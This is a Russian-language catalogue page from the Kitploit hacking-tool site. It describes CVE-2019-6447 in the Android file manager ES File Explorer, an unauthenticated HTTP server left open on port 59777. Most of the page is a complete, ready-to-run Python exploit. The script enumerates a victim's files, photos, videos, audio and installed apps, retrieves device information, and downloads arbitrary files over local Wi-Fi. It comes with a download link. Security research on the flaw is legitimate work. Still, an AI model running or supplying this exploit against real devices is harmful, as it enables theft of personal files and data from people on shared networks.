Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EsFileExplorer-CVE-2019-6447 — Эксплуатация уязвимости Android в ES File Explorer | Kitploit
Инструменты/GitHubGitHub/chethine/esfileexplorer-cve-2019-6447
Безопасность AndroidАнализ уязвимостейЭксплуатацияЭксфильтрация данныхСбор информацииМобильная безопасность
GitHubchethine/esfileexplorer-cve-2019-6447

EsFileExplorer-CVE-2019-6447

Эксплуатация уязвимости Android в ES File Explorer

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
31364 лет назадЕщё не проверено

EsFileExplorer-CVE-2019-6447

Эксплуатация уязвимости Android в ES File Explorer

Уязвимость

ES File Explorer был создан компанией ES worldwide, которая является частью DO Global и базируется в Китае. Данный файловый менеджер доступен только для мобильных устройств под управлением операционной системы Android. На данный момент ES File Explorer был скачан более 100 миллионов раз. Это приложение является известным файловым менеджером для Android, поэтому оно привлекает много внимания. С другой стороны, в 2019 году исследователи в области кибербезопасности обнаружили уязвимость в версии ES File Explorer 4.1.9.7.4. Злоумышленники, способные воспользоваться этой уязвимостью, могут собрать все конфиденциальные данные пользователя, хранящиеся в ES File Explorer. Это включает фотографии, видео, голосовые записи, документы и другие типы данных.

Описание уязвимости

В версии 4.1.9.7.4 и более ранних приложение ES File Explorer File Manager для Android позволяет удалённым злоумышленникам читать произвольные файлы или запускать приложения в локальной Wi-Fi сети, отправляя запросы на TCP-порт 59777. После того как приложение ES было запущено хотя бы один раз, этот TCP-порт остаётся открытым и отвечает на неаутентифицированные данные в формате application/json, отправляемые по HTTP.

Подверженная версия

Версия 4.1.9.7.4

При каждом запуске приложения запускается HTTP-сервер. Этот сервер открывает локально порт 59777:
root@kitploit:~
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

Возможности Proof of Concept (POC)

  • Вывести список всех файлов на SD-карте устройства жертвы
  • Вывести список всех фотографий на устройстве жертвы
  • Вывести список всех видео на устройстве жертвы
  • Вывести список всех аудиофайлов на устройстве жертвы
  • Вывести список всех установленных приложений на устройстве жертвы
  • Вывести список всех системных приложений на устройстве жертвы
  • Вывести список всех телефонных приложений на устройстве жертвы
  • Вывести список всех APK-файлов, хранящихся на SD-карте устройства жертвы
  • Вывести список всех приложений, установленных на устройстве жертвы
  • Получить информацию об устройстве жертвы
  • Скачать файл с устройства жертвы
  • Запустить приложение по вашему выбору
  • Получить иконку приложения по вашему выбору

Полезная нагрузка

root@kitploit:~
import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
    data = json.dumps({"command":cmd})
    response = requests.post(url, headers=header, data=data)
    return ast.literal_eval(response.text)

def parse(text, keys):
    for dic in text:
        for key in keys:
            print(f"{key} : {dic[key]}")
        print('')

def do_listing(cmd):
    response = httpPost(cmd)
    if len(response) == 0:
        keys = []
    else:
        keys = list(response[0].keys())
    parse(response, keys)

if cmd in listCmds:
    do_listing(cmd)

elif cmd == cmds[9]:
    if len(sys.argv) != 4:
        print("[+] Include file name to download.")
        sys.exit(1)
    elif sys.argv[3][0] != '/':
        print("[-] You need to provide full path of the file.")
        sys.exit(1)
    else:
        path = sys.argv[3]
        print("[+] Downloading file...")
        response = requests.get(url + path)
        with open('out.dat','wb') as wf:
            wf.write(response.content)
        print("[+] Done. Saved as `out.dat`.")

elif cmd == cmds[10]:
    response = httpPost(cmd)
    keys = list(response.keys())
    for key in keys:
        print(f"{key} : {response[key]}")

Демонстрация

Demo

Контакты

Подписывайтесь на меня в Twitter!
Свяжитесь со мной в LinkedIn!
Скачать инструмент